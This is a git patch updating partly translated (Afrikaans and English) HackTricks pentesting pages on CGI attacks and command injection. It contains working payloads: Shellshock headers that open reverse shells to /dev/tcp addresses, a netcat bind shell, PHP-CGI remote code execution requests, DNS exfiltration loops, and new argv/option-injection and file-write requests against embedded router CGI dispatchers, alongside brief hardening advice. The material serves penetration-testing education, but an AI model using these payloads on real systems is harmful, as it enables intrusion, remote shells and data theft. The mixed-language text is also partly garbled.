From f02b25d83b54ba3d9e481c4d57993582023b5c66 Mon Sep 17 00:00:00 2001 From: Translator Date: Sat, 4 Oct 2025 10:02:04 +0000 Subject: [PATCH] Translated ['', 'src/network-services-pentesting/pentesting-web/cgi.md', --- .../pentesting-web/cgi.md | 74 ++++++++++++++----- src/pentesting-web/command-injection.md | 50 ++++++++++--- 2 files changed, 95 insertions(+), 29 deletions(-) diff --git a/src/network-services-pentesting/pentesting-web/cgi.md b/src/network-services-pentesting/pentesting-web/cgi.md index 4f8da1a54..36cf4aa45 100644 --- a/src/network-services-pentesting/pentesting-web/cgi.md +++ b/src/network-services-pentesting/pentesting-web/cgi.md @@ -1,27 +1,30 @@ +# CGI Pentesting + {{#include ../../banners/hacktricks-training.md}} -# Inligting -Die **CGI-skripte is perl-skripte**, so, as jy 'n bediener gekompromitteer het wat _**.cgi**_ skripte kan uitvoer, kan jy 'n **perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\) **oplaai**, die **uitbreiding** van **.pl** na **.cgi** **verander**, **uitvoeringsregte** gee \(`chmod +x`\) en die reverse shell **van die webblaaier** **toegang** om dit uit te voer. -Om vir **CGI kwesbaarhede** te toets, word dit aanbeveel om `nikto -C all` \(en al die plugins\) te gebruik. +## Inligting -# **ShellShock** +Die **CGI scripts are perl scripts**, so, if you have compromised a server that can execute _**.cgi**_ scripts you can **upload a perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **change the extension** from **.pl** to **.cgi**, give **execute permissions** \(`chmod +x`\) and **access** the reverse shell **from the web browser** to execute it. +In order to test for **CGI vulns** it's recommended to use `nikto -C all` \(and all the plugins\) -**ShellShock** is 'n **kwesbaarheid** wat die algemeen gebruikte **Bash** opdraglyn-skal in Unix-gebaseerde bedryfstelsels beïnvloed. Dit teiken die vermoë van Bash om opdragte wat deur toepassings oorgedra word, uit te voer. Die kwesbaarheid lê in die manipulasie van **omgewing veranderlikes**, wat dinamiese benoemde waardes is wat beïnvloed hoe prosesse op 'n rekenaar loop. Aanvallers kan dit benut deur **kwaadaardige kode** aan omgewing veranderlikes te heg, wat uitgevoer word wanneer die veranderlike ontvang word. Dit stel aanvallers in staat om die stelsel moontlik te kompromitteer. +## **ShellShock** -Deur hierdie kwesbaarheid te benut, kan die **bladsy 'n fout gooi**. +**ShellShock** is 'n kwesbaarheid wat die wydgebruikte **Bash** command-line shell in Unix-gebaseerde bedryfstelsels raak. Dit mik op die vermoë van **Bash** om opdragte uit te voer wat deur toepassings deurgegee word. Die kwesbaarheid lê in die manipulasie van omgewingsveranderlikes, wat dinamiese benoemde waardes is wat beïnvloed hoe prosesse op 'n rekenaar loop. Aanvallers kan dit uitbuit deur kwaadwillige kode aan omgewingsveranderlikes te heg, wat uitgevoer word wanneer die veranderlike ontvang word. Dit stel aanvallers in staat om moontlik die stelsel te kompromitteer. -Jy kan hierdie kwesbaarheid **vind** deur op te let dat dit 'n **ou Apache weergawe** en **cgi_mod** \(met cgi-gids\) gebruik of deur **nikto** te gebruik. +Wanneer hierdie kwesbaarheid uitgebuit word, kan die bladsy 'n fout werp. -## **Toets** +Jy kan hierdie kwesbaarheid vind deur te let dat dit 'n ou **Apache**-weergawe en **cgi_mod** \(met 'n cgi-lêergids\) gebruik, of deur **nikto** te gebruik. -Meeste toetse is gebaseer op die echo van iets en verwag dat daardie string in die webrespons teruggestuur word. As jy dink 'n bladsy kwesbaar mag wees, soek vir al die cgi-bladsye en toets hulle. +### **Toets** + +Die meeste toetse is gebaseer op die gebruik van echo en verwag dat daardie string in die webrespons teruggestuur word. As jy dink 'n bladsy dalk kwesbaar is, soek alle cgi-bladsye en toets hulle. **Nmap** ```bash nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi ``` -## **Curl \(reflektiewe, blind en uit-die-band\)** +## **Curl \(weerkaatsend, blind en out-of-band\)** ```bash # Reflected curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE' @@ -34,7 +37,7 @@ curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http: ```bash python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi ``` -## Exploit +### Exploit ```bash #Bind Shell $ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8 @@ -48,23 +51,56 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt > set rhosts 10.1.2.11 > run ``` -# **Proxy \(MitM na Web bediener versoeke\)** +## Gekentraliseerde CGI-dispatchers (enkel-endpoint routering via selector parameters) -CGI skep 'n omgewing veranderlike vir elke kop in die http versoek. Byvoorbeeld: "host:web.com" word geskep as "HTTP_HOST"="web.com" +Baie embedded web UIs multiplex dosyne bevoorregte aksies agter 'n enkele CGI-endpoint (byvoorbeeld, `/cgi-bin/cstecgi.cgi`) en gebruik 'n selector parameter soos `topicurl=` om die versoek na 'n interne funksie te stuur. -Aangesien die HTTP_PROXY veranderlike deur die web bediener gebruik kan word. Probeer om 'n **kop** te stuur wat bevat: "**Proxy: <IP_attacker>:<PORT>**" en as die bediener enige versoek tydens die sessie uitvoer. Jy sal in staat wees om elke versoek wat deur die bediener gemaak word, te vang. +Metodologie om hierdie routers te misbruik: -# Ou PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\) +- Enumereer handler names: scrape JS/HTML, brute-force with wordlists, or unpack firmware and grep for handler strings used by the dispatcher. +- Toets unauthenticated reachability: some handlers forget auth checks and are directly callable. +- Fokus op handlers wat system utilities aanroep of touch files; weak validators often only block a few characters and might miss the leading hyphen `-`. + +Generic exploit shapes: +```http +POST /cgi-bin/cstecgi.cgi HTTP/1.1 +Content-Type: application/x-www-form-urlencoded + +# 1) Option/flag injection (no shell metacharacters): flip argv of downstream tools +topicurl=¶m=-n + +# 2) Parameter-to-shell injection (classic RCE) when a handler concatenates into a shell +topicurl=setEasyMeshAgentCfg&agentName=;id; + +# 3) Validator bypass → arbitrary file write in file-touching handlers +topicurl=setWizardCfg&=/etc/init.d/S99rc +``` +Opsporing en verharding: + +- Kyk uit vir ongeauthentiseerde versoeke aan gesentraliseerde CGI-endpunte met `topicurl` gestel na sensitiewe handlers. +- Merk parameters wat met `-` begin (argv option injection attempts). +- Verskaffers: dwing authenticatie af op alle staatveranderende handlers, valideer met streng allowlists/types/lengths, en gee nooit deur gebruiker beheerde strings as command-line flags nie. + +## Oude PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\) Basies, as cgi aktief is en php "oud" \(<5.3.12 / < 5.4.2\) kan jy kode uitvoer. -Om hierdie kwesbaarheid te benut, moet jy toegang verkry tot 'n PHP-lêer van die web bediener sonder om parameters te stuur \(veral sonder om die karakter "=" te stuur\). -Dan, om hierdie kwesbaarheid te toets, kan jy byvoorbeeld toegang verkry tot `/index.php?-s` \(let op die `-s`\) en **bronkode van die toepassing sal in die antwoord verskyn**. +Om hierdie kwesbaarheid te misbruik moet jy toegang hê tot 'n PHP-lêer van die webbediener sonder om parameters te stuur \(spesifiek sonder om die karakter "=" te stuur\). +Dan, om hierdie kwesbaarheid te toets, kan jy byvoorbeeld toegang kry tot `/index.php?-s` \(let op die `-s`\) en **die bronkode van die toepassing sal in die respons verskyn**. -Dan, om **RCE** te verkry, kan jy hierdie spesiale navraag stuur: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` en die **PHP kode** wat in die **liggaam van die versoek uitgevoer moet word. Voorbeeld:** +Dan, om **RCE** te verkry, kan jy hierdie spesiale navraag stuur: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` en die **PHP code** word in die **liggaam van die versoek** uitgevoer. Voorbeeld: ```bash curl -i --data-binary "" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input" ``` -**Meer inligting oor die kwesbaarheid en moontlike eksploit:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Skryweksample**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.** +**Meer inligting oor die vuln en moontlike exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.** +## **Proxy \(MitM to Web server requests\)** + +CGI skep 'n omgewingsveranderlike vir elke header in die http-aanvraag. Byvoorbeeld: "host:web.com" word geskep as "HTTP_HOST"="web.com" + +Aangesien die HTTP_PROXY-variabele deur die webserver gebruik kan word. Probeer om 'n **header** te stuur wat die volgende bevat: "**Proxy: <IP_attacker>:<PORT>**" en as die server enige versoek gedurende die sessie uitvoer, sal jy elke versoek wat deur die server gemaak word, kan vasvang. + +## **Verwysings** + +- [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md index ccf4b57e9..dda571cc0 100644 --- a/src/pentesting-web/command-injection.md +++ b/src/pentesting-web/command-injection.md @@ -4,11 +4,11 @@ ## Wat is command Injection? -A **command injection** laat die uitvoering van ewekansige bedryfstelsel-opdragte toe deur 'n aanvaller op die bediener wat 'n toepassing huisves. Daardeur kan die toepassing en al sy data volledig gekompromitteer word. Die uitvoering van hierdie opdragte stel die aanvaller gewoonlik in staat om ongemagtigde toegang of beheer oor die toepassing se omgewing en onderliggende stelsel te verkry. +A **command injection** laat die uitvoering van ewekansige operating system commands toe deur 'n attacker op die server wat 'n application host. As gevolg hiervan kan die application en al sy data volledig gekompromitteer word. Die uitvoering van hierdie commands stel die attacker tipies in staat om ongemagtigde toegang of beheer oor die application's omgewing en onderliggende stelsel te verkry. ### Konteks -Afhangend van **waar jou input ingespuit word** mag jy die **aangehaalde konteks beëindig** (met `"` of `'`) voordat jy die opdragte uitvoer. +Afhangend van **waar jou invoer ingespuit word**, mag jy die **aangehaalde konteks** (met `"` of `'`) moet beëindig voordat jy opdragte kan uitvoer. ## Command Injection/Execution ```bash @@ -32,7 +32,7 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful ``` ### **Beperking** Bypasses -As jy probeer om **arbitrêre opdragte binne 'n linux-masjien** uit te voer, sal jy belangstel om oor hierdie **Bypasses** te lees: +As jy probeer om **arbitrary commands inside a linux machine** uit te voer, sal jy belangstel om oor hierdie **Bypasses:** te lees. {{#ref}} @@ -77,7 +77,7 @@ Hier is die top 25 parameters wat kwesbaar kan wees vir code injection en soortg ``` ### Time based data exfiltration -Uittreksel van data: karakter vir karakter +Data onttrekking: karakter vir karakter ``` swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi real 0m5.007s @@ -89,9 +89,9 @@ real 0m0.002s user 0m0.000s sys 0m0.000s ``` -### DNS based data exfiltration +### DNS-gebaseerde data-ekfiltrasie -Gebaseer op die tool vanaf `https://github.com/HoLyVieR/dnsbin` wat ook gehost word op dnsbin.zhack.ca +Gebaseer op die tool vanaf `https://github.com/HoLyVieR/dnsbin` wat ook gehost word by dnsbin.zhack.ca ``` 1. Go to http://dnsbin.zhack.ca/ 2. Execute a simple 'ls' @@ -101,12 +101,12 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done ``` $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il) ``` -Aanlyn gereedskap om vir DNS based data exfiltration te toets: +Aanlyn gereedskap om vir DNS-gebaseerde data exfiltration te kontroleer: - dnsbin.zhack.ca - pingb.in -### Filtrering-omseiling +### Filter-omseiling #### Windows ``` @@ -132,7 +132,7 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay ``` `exec()` skep 'n **shell** (`/bin/sh -c`), daarom sal enige karakter wat 'n spesiale betekenis vir die shell het (back-ticks, `;`, `&&`, `|`, `$()`, …) lei tot **command injection** wanneer gebruikersinvoer in die string gekonkateneer word. -**Mitigering:** gebruik `execFile()` (of `spawn()` sonder die `shell` opsie) en voorsien **elke argument as 'n afsonderlike array-element** sodat geen shell betrokke is nie: +**Mitigering:** gebruik `execFile()` (of `spawn()` sonder die `shell` opsie) en voorsien **elke argument as 'n aparte array-element** sodat geen shell betrokke is nie: ```javascript const { execFile } = require('child_process'); execFile('/usr/bin/do-something', [ @@ -140,8 +140,37 @@ execFile('/usr/bin/do-something', [ '--payload', JSON.stringify(payload) ]); ``` -Werklike geval: *Synology Photos* ≤ 1.7.0-0794 was deur 'n ongeverifieerde WebSocket-gebeurtenis uitgebuit wat deur die aanvaller beheerde data in `id_user` geplaas het, wat later in 'n `exec()`-oproep ingesluit is, wat RCE tot gevolg gehad het (Pwn2Own Ireland 2024). +Werklike geval: *Synology Photos* ≤ 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into `id_user` which was later embedded in an `exec()` call, achieving RCE (Pwn2Own Ireland 2024). +### Argument/Option injection via leading hyphen (argv, no shell metacharacters) + +Nie alle injections vereis shell metacharacters. As die toepassing onbetroubare stringe as argumente aan 'n stelselutility deurgee (selfs met `execve`/`execFile` en geen shell), sal baie programme steeds enige argument wat begin met `-` of `--` as 'n opsie interpreteer. Dit laat 'n aanvaller toe om modi om te skakel, uitvoerpaaie te verander, of gevaarlike gedrag te veroorsaak sonder om ooit in 'n shell in te breek. + +Tipiese plekke waar dit voorkom: + +- Ingebedde web UIs/CGI handlers wat opdragte soos `ping `, `tcpdump -i -w `, `curl `, ens. opbou. +- Gesenraliseerde CGI routers (bv., `/cgi-bin/.cgi` met 'n selector parameter soos `topicurl=`) waar meerdere handlers dieselfde swak validator hergebruik. + +Wat om te probeer: + +- Verskaf waardes wat begin met `-`/`--` sodat die downstream tool dit as flags verbruik. +- Misbruik flags wat gedrag verander of lêers skryf, byvoorbeeld: + - `ping`: `-f`/`-c 100000` om die toestel te stres (DoS) + - `curl`: `-o /tmp/x` om arbitrêre paaie te skryf, `-K ` om attacker-controlled config te laai + - `tcpdump`: `-G 1 -W 1 -z /path/script.sh` om post-rotate uitvoering in onveilige wrappers te bewerkstellig +- As die program `--` end-of-options ondersteun, probeer naïewe mitigasies omseil wat `--` op die verkeerde plek byvoeg. + +Generic PoC shapes against centralized CGI dispatchers: +``` +POST /cgi-bin/cstecgi.cgi HTTP/1.1 +Content-Type: application/x-www-form-urlencoded + +# Flip options in a downstream tool via argv injection +topicurl=¶m=-n + +# Unauthenticated RCE when a handler concatenates into a shell +topicurl=setEasyMeshAgentCfg&agentName=;id; +``` ## Brute-Force Opsporingslys @@ -157,5 +186,6 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_inject - [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html) - [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php) - [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html) +- [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/) {{#include ../banners/hacktricks-training.md}}